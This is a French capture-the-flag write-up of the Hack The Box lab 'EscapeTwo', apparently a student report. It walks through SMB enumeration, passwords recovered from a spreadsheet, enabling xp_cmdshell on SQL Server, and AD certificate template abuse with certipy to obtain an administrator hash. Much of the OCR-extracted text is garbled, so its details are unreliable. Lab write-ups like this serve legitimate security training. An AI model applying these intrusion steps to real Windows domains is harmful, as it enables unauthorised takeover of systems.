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1. Reconnaissance

EscapeTwo has been Pwned!

Congratulations @ Chatodo, best of luck in capturing flags ahead!

#2013 15 Jan 2025 30

MACHINE RANK PWN DATE POINTS EARNED

Lien de la machine : https://app.hackthebox.com/machines/642

1. Reconnaissance

Il est donné dans la description de la machine : As is common in real life Windows pentests, you

will start this box with credentials for the following account : rose / KxEPkKe6R8su
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https://app.hackthebox.com/machines/642

1. Reconnaissance

1.1 Enumération des ports

La premiére étape consistait en un scan Nmap complet de la machine :

1" scan avec nmap -p- -min-rate 10000 10.10.11.51

Services notables identifiés :

— Port 53 : DNS (Domain)

— Port 88 : Kerberos

— Port 389 : LDAP

— Port 445 : SMB

— Port 1433 : Microsoft SQL Server
— Port 47001 /5985 : WinRM

Avec le résultat, nous allons faire un scan bien plus approfondi en ciblant uniquement les ports

ouverts.
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1. Reconnais

V 10.10.11.51
Nmap 7.9
scan report
ost is up (0.013s

or 10.10.11.51
laten

VERSION

Simple DNS Plus

Microsoft Windows Kerberos (server time: 2025-81-11 23:54:38Z)

Microsoft Windows RPC

Microsoft Windows netbios-ssn

Microsoft Windows Active Directory LDAP (Domain: sequel.htb@.,
=DC@1.sequel.htb
1.3.6.1.4.1.311.25.1: : <unsupported>, DNS:DC@1.sequel.htb

STATE
open
open
open

SERVICE
domain
kerberos-sec
msIpc
c open netbios-ssn
tcp  open ldap
ssl-cert: Subject: commonNam
\ othername
Not
_Not
_ssl-date: 2025-0 3:55:57+00: 0t s
open
open

from scanner time.

o open Microsoft Windows Active Directory LDAP (Domain: sequel.htb@.,
ssl-cert: Subject: commonName=DCO1.sequel.htb
Subject Alternat Name: othexna :<unsupported>, DNS:DC@1.sequel.htb
Not valid before:
_Not
E ; -1s from sc

/tcp  open Microsoft SQL Se

ms-sql-info:

Default-First-Site-N

ult-First-Site-Name)

4 cp open Microsoft SQL Serve
ms-sql-info:
19.10.11.51:1433:

Version:
nam
number :
Product:

Ser

ms-sgl-s

Microsoft S
pack level: RTM

Post-SP patches applied:
TCP port:
ms-sgl-ntlm-info:
10.10.11.51:1433
Target_Name: SEQUEL
N

Domain_| SEQUEL

DNS_Tree_|
Produc

2025-81-11T23:55:58+ from scanner time
commonName Signed_Fallback

Microsoft Windows Act
5:57+00:00; -1s from scanner time

ssl/1dap
5-01-11T23:5

e Directory LDAP (Domain: sequel.htb@., Site: De

ault-First-Site-Name)

commonName

K erna € 4.1.311. 1::<unsupported>, DNS:DC@1.sequel.hth

.
2025
3/tcp filtered unknown
5/tcp open http
_http-title: Not Found
_http-server-header: Microsoft-HTTPAPI/2
s /tcp open mc-nmf .NET Message Framing
/tcp open http Microsoft HTTPAPI httpd 2.0
_http-title: Not Found
T-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC@1; 0S: Window CPE: cpe:/o:microsoft:windows

Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)

(SSDP/UPNP)

ost script results:
smb2-time:

2025-01-11T23:55:

_ N/A
_clock-skew: : -1s, de ion: @s,
smh2-security-mode:

3:1:1:
Message signing enabled and required

median: -1s

Service detection performed. Please report any incorrect results at https:
i done: 1 IP address (1 host up) scanned in 92.48 seconds

//nmap.oxg/submit/

Les informations en plus sont :

— Nom de domaine : sequel.htb




2. Phase d’exploitation initiale

— Version SQL Server : Microsoft SQL Server 2019 RTM

— Présence d’'un Active Directory

J’ai ajouté cette ligne au fichier hosts pour faciliter la suite de I'exploitation :

echo "10.10.11.51 sequel.htb" >> /etc/hosts

2. Phase d’exploitation initiale

$evil-winrm -i 10.10.11.51 -u rose -p 'KxEPKK

arning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on thi
b machine

La connection via WinRM n’est pas possible avec cette utilisatrice

2.1 Exploration des partages SMB

Les identifiants fournis (rose : KxEPkKe6R8su) permettent un accés aux partages SMB, nous allons

examiner les partages SMB disponibles :

Accounting Department READ

ADMINS Remote Admin

c$ Default share

IPCS Remote IPC
NETLOGON Logon server share
SYSVOL Logon server share
Users

Université Paris Cité 5 2024-2025



2. Phase d’exploitation initiale

On profite aussi pour voir la liste des utilisateurs de la machine :

-Username- -Last PW Set- -BadPW- -Description-
Administrator 2024-06-08 16:32: [’ Built-in account

administering the computer/domain
16 11.51 C Guest 2024-12-25 14:44: Built-in account
guest access to the computer/domain

14 11.51 445 C krbtgt 2024-06-08 16:40: Key Distribution
3 16:4
3 16:
3 16:
9 07
14
6 17

.51 DCe michael
.51 DCe Iyan
.51 DCeE oscarxr
.51 DCO sql_svc
5 i DCe rose
ca_svc

NN N NN

FIGURE 1 — Liste des utilisateurs.

L’énumération a révélé plusieurs informations intéressants, la liste des users et un dossier " Ac-

n

counting Department" avec des droits de lecture.

On se connecte dans le partage samba et on va regarder ce qu’il y’a dans le dossier

smbclient //sequel.htb/"Accounting Department" -U rosel,KxEPkKe6R8su

s accounts.xlsx

Quand on ouvre les fichiers avec Excel, on remarque qu’il n’arrive pas a vraiment 1’ouvrir, ¢a veut
dire qu’il doit étre formaté d’'une maniére qu’on peut pas le lire "facilement", dii par exemple & un

mauvais "magic number" dans le fichier.
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2. Phase d’exploitation initiale

Import

Character set:

Locale: IDefauIt-French (France) ;l
From row: |1 31
Separator Options
(" Fixed width {+ Separated by
¥ Tab [+ Comma [# semicolon [ Space [~ Other I
[T Merge delimiters [T Trim spaces String delimiter: |" -

Other Options
[~ Format guoted field as text

[~ Evaluate formulas

[~ Detect special numbers
[¥ Detect scientific notation

Fields
Column type: I vl
|standard N
1 PHUGXxL/_rels/workbook.xml.rels @RAJ QOSSR
2199999 9LLINT NG 9Mh ¢ IO 6o & 6F9 PdIto I
3 e9s5e €' 99e T
1 909-99Ve . 9O XOsLY5QIL_$ 9 IysrOTFKL @ @ QFKOUSXxL/ W
5 [ & & $09EQ & GO DM D B o <o o C
6B L9q(9 . 09k-J(xadeY z9
7 NEZBtETHE ) tvOUBEEEEUEEE0EEE " =
B &0 T £ 2 &l 0T 0SS S S AR AT A A S A
q v

Cancel |

Pour contourner ga, on va unzip le fichier .xlsx et ensuite voir ce qu’il y’a dans zl/sharedStrings.zml

En formatant les .xml et en regroupant a la main les

informations de chaque fichier on obtient

ceci :

A [ 5 EEEEEEN O | e |
1 |First Mame LastMame Email Usemame |[Password
2 |Angela Martin angela@sequel.htb angela Ofwz 7Q4mSpurit99
3 |Oscar Martinez oscar@sequel.htb oscar 86LxL BMgEWaKUnBG
4  |Kevin Malone kevin@sequelhth  kevin MdSwWig1lESbZnVDVo
5 sa@sequel.htb sa MSSQLP@sswird!

accounts.xlsx
B [ c [ D [ E ] F [ 6 [ H ]

Date _Invuice Mumber ‘Vendor Description Amount Due Date Status Motes
9/6/2024 1001 Dunder Mifflin Office Supplies 150%  01/15/2024 Paid
23/08/2024 1002 Business Consultancy Consulting 500% 01/30/2024 Unpaid Follow up
TI10/2024 1003 Windows Server License Software 300% 02/05/2024 Paid

accountig 2024.xlsx

On avait vu qu’il y’avait un serveur SQL dans I’énumération Nmap, on va se connecter avec les

identifiants suivants : sa :MSSQLP@Qssw0rd !

Université Paris Cité
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2. Phase d’exploitation initiale

2.2 Exploitation du serveur SQL

On remarque qu’on a les priviléges sysadmin, ainsi on aura la possibilité d’exécuter zp cmdshell,

qui sert pour faire de ’exécution de commandes Windows.

On arrive bien a exécuter des commandes

On rentre ensuite les commandes suivantes pour pouvoir activer xp cmdshell :

EXEC sp_configure 'show advanced options', '1'
RECONFIGURE

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

En explorant le systéme via xp cmdshell, on trouve des dossiers intéressants :

Ici, SQL2019/ est un dossier qui n’est pas censé étre la.
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2. Phase d’exploitation initiale

En faisant de la recherche dans le dossier (par exemple en utilisant cette commande :
EXEC xp\_cmdshell 'dir "C:\SQL2019" /s /b’ ;).

On trouve un fichier de configuration dans :
"C:\SQL2019\ExpressAdv\_ENU\\sql-Configuration.INI"

SQLCOLLATION="SQL_Latinl_General_CP1_CI

Contenu intéressant du fichier

Ainsi, on a un nouveau mot de passe WqSZAF6CysDQbGHS et avec la liste des utilisateurd]]

récupérer avant, il nous reste juste a tester les combinaisons de connexions.
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2. Phase d’exploitation initiale

On trouve que le mot de passe appartient au compte ryan.

1 -1 10.10.11.51 -u ryan -p

Jarning: Remote path completions is disabled due to ruby limitation: quoting_det
ection_proc() function is unimplemented on this machine

On peut se connecter via WinRM avec cet utilisateur

On récupére ainsi le flag user :
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3. Elévation de priviléges

3. Elévation de priviléges

3.1 Analyse du systéme

L’analyse du systéme avec WinPEAS a révélé plusieurs éléments :

- Certificate service (certsrv) is running
- A custom template "DunderMifflinAuthentication" exists with potentially
dangerous configs

- User ryan appears to have rights in the "Management Department"
Ces éléments suggérent une possible voie d’attaque via la manipulation des certificats AD.

3.2 Analyse du service de certificats

Certipy a permis d’identifier des configurations vulnérables :

certipy find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51

-vulnerable

Il était écrit aussi dans le fichier en output : The DunderMifflinAuthentication template was mis-
configured (ESC1 & ESCJ vulnerabilities)

De plus, il y’a la présence d'un compte de service "ca svc" disposant de priviléges sur 'autorité
de certification. Notre objectif va étre de prendre controle de ce compte ca_ svc.
3.3 Exploitation des certificats

3.3.1 Phase 1 : Prise de controle du compte ca_svc

La premiére étape consistait & obtenir le controle du compte ca_svc, qui dispose de priviléges sur

I'infrastructure de certificats :

-action 'write' -rights 'FullControl' -principal 'ryan’

C and its affiliated companies

hak
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3. Elévation de priviléges

Cette commande modifie les attributs de propriété de I'objet Active Directory ca_ sve, nous per-
mettant d’en prendre le controle. Elle exploite aussi une configuration incorrecte des ACL dans

I’ Active Directory.

Nous avons ensuite attribué les droits FullControl, qui nous donne un contréle total sur le compte
ca_ svc.

3.3.2 Phase 2 : Manipulation des certificats

Une fois le controle du compte ca_ svc obtenu, on génére un certificat shadow :

-ip '10.10.11.51"

Cette commande exploite les priviléges acquis pour générer un certificat donnant accés a ca_ svc.
On a ainsi le hash de ca_ sve : 3b181b914e7a9d5508eale20bc2b7fce

Puis je modifie le template pour permettre 'usurpation du compte :

lifflinAuthentication -dc-ip 10.10.11.51 -tar

'DunderMifflinA
hent

Maintenant, grace a cette manipulation, on peut créer des certificats avec de plus gros priviléges.
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3. Elévation de priviléges

3.3.3 Phase 3 : Escalade vers les priviléges administrateur

Avec le template modifié, je demande un certificat avec les priviléges administrateur :

el.htb -dc-ip 12.10.11.5

Cette étape nous a fourni le hash de I'administrateur : 7a8d4e04986afa8ed4060f75e5a0b3ff

3.3.4 Phase finale : Accés administrateur

Avec le hash de 'administrateur, il nous suffit juste de nous connecter :

$evil-winrm -i 10.10.11.51 -u adminis

hlarning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on thi
s machine
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4. Listes des outils utilisés

Nous manque plus qu’a récupérer le flag

4. Listes des outils utilisés

WinPEAS : https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASps1
Evil-winrm : https://www.kali.org/tools/evil-winrm/

Netexec : https://www.kali.org/tools/netexec/

Nmap : sudo apt install nmap

smbclient : sudo apt install smbclient

impacket : https://github.com/fortra/impacket/tree/master?tab=readme-ov-file#setup
Certipy : https://github.com/1ly4k/Certipy

bloodyAD : https://github.com/CravateRouge/bloodyAD/wiki/Installation
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